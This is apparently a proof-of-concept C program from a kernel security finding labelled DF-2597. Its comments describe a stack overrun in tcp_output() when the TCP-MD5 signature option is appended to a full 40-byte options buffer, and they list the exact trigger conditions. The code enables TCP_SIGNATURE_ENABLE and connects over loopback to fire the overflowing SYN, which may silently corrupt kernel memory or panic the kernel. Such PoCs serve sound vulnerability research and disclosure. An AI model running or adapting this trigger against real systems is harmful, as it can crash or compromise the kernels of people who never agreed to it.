/*
 * DF-2597 — TCP-MD5 (TCP_SIGNATURE) option appends 20-byte signature block
 * into the 40-byte opt[] stack buffer in tcp_output() WITHOUT any bound
 * check (sys/netinet/tcp_output.c:779-800).
 *
 * Trigger conditions:
 *  - kernel compiled with `options TCP_SIGNATURE`
 *  - socket has TF_SIGNATURE armed (setsockopt(TCP_SIGNATURE_ENABLE))
 *  - tcp_output emits a segment whose other options already push optlen
 *    high enough that the 20-byte signature block overruns opt[]:
 *        SYN:        MSS(4)+win(4)+sackperm(4)+ts(12) = 24  -> +20 = 44  (4-byte overrun)
 *        ESTABLISHED: ts(12) + 3 SACK blocks (28)        = 40  -> +20 = 60  (20-byte overrun)
 *
 * On the DEFAULT GENERIC kernel TCP_SIGNATURE is NOT compiled in
 * (commented in sys/conf/options, absent from sys/config/X86_64_GENERIC),
 * so:
 *   - tcp_output.c:779-800 is dead code (#ifdef TCP_SIGNATURE)
 *   - the SET handler case TCP_SIGNATURE_ENABLE in tcp_usrreq.c:1556 is
 *     dead code too, so setsockopt returns ENOPROTOOPT and TF_SIGNATURE
 *     can never be set by an unprivileged user.
 *
 * This PoC first reports what setsockopt(TCP_SIGNATURE_ENABLE) returns:
 *   ENOPROTOOPT (42 on FreeBSD/DragonFly)  -> unreachable on default kernel
 *   0                                       -> kernel has TCP_SIGNATURE; overflow reachable
 *
 * On a TCP_SIGNATURE kernel it then connect()s to a localhost listener to
 * emit the SYN with all four options + signature, which overruns opt[] by
 * 4 bytes on the SYN path.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>

/* TCP_SIGNATURE_ENABLE is defined in <netinet/tcp.h> as 0x10 */
#ifndef TCP_SIGNATURE_ENABLE
#define TCP_SIGNATURE_ENABLE 0x10
#endif

static volatile int g_alarm = 0;
static void onalrm(int s __unused) { g_alarm = 1; }

int main(int argc, char **argv)
{
    int sfd, cfd, one = 1, sig_on = 1, err;
    struct sockaddr_in la, ra;
    int port = (argc > 1) ? atoi(argv[1]) : 18000;

    signal(SIGALRM, onalrm);

    /* listener to complete (or attempt) the connection so SYN emits */
    sfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sfd < 0) { perror("socket(l)"); return 2; }
    setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof one);
    memset(&la, 0, sizeof la);
    la.sin_family = AF_INET;
    la.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    la.sin_port = htons(port);
    if (bind(sfd, (struct sockaddr *)&la, sizeof la) < 0) {
        perror("bind"); close(sfd); return 2;
    }
    listen(sfd, 1);
    printf("[+] listener on 127.0.0.1:%d (sfd=%d)\n", port, sfd);

    /* attacker socket */
    cfd = socket(AF_INET, SOCK_STREAM, 0);
    if (cfd < 0) { perror("socket(c)"); return 2; }

    /* maximize options: ensure rfc1323 (ts+win) + sack defaults */
    /* (defaults are already on: tcp_do_rfc1323=1, tcp_do_sack=1) */

    /*
     * THE BUG PATH: arm TCP_SIGNATURE on a CLOSED socket.
     * On default GENERIC (no TCP_SIGNATURE): setsockopt returns ENOPROTOOPT.
     * On a TCP_SIGNATURE kernel: succeeds, sets TF_SIGNATURE.
     */
    err = setsockopt(cfd, IPPROTO_TCP, TCP_SIGNATURE_ENABLE, &sig_on, sizeof sig_on);
    printf("[*] setsockopt(TCP_SIGNATURE_ENABLE) -> %d errno=%d (%s)\n",
           err, errno, err ? strerror(errno) : "OK");

    if (err != 0) {
        printf("[!] TCP_SIGNATURE is NOT compiled into this kernel.\n");
        printf("[!] tcp_output.c:779-800 signature-append block is dead code (#ifdef TCP_SIGNATURE).\n");
        printf("[!] setsockopt(TCP_SIGNATURE_ENABLE) cannot arm TF_SIGNATURE.\n");
        printf("[!] RESULT: bug UNREACHABLE on this kernel (latent code defect).\n");
        close(cfd); close(sfd);
        return 5;  /* distinct exit: unreachable */
    }

    printf("[+] TCP_SIGNATURE compiled in — TF_SIGNATURE armed.\n");
    printf("[*] connecting to emit SYN: MSS(4)+win(4)+sackperm(4)+ts(12)=24, +sig(20)=44 > opt[40]\n");

    memset(&ra, 0, sizeof ra);
    ra.sin_family = AF_INET;
    ra.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    ra.sin_port = htons(port);

    /* non-blocking connect so we don't hang if the kernel panics mid-SYN */
    fcntl(cfd, F_SETFL, O_NONBLOCK);
    alarm(3);
    int rc = connect(cfd, (struct sockaddr *)&ra, sizeof ra);
    if (rc < 0 && errno != EINPROGRESS) {
        printf("[!] connect: %s\n", strerror(errno));
    } else {
        printf("[+] connect initiated (SYN sent through tcp_output)\n");
    }
    /* if we get here without a panic, the overrun was silent (or not built) */
    sleep(1);
    printf("[*] still alive after SYN — overrun did not trap (INVARIANTS poison may still fire later)\n");

    close(cfd); close(sfd);
    return 0;
}
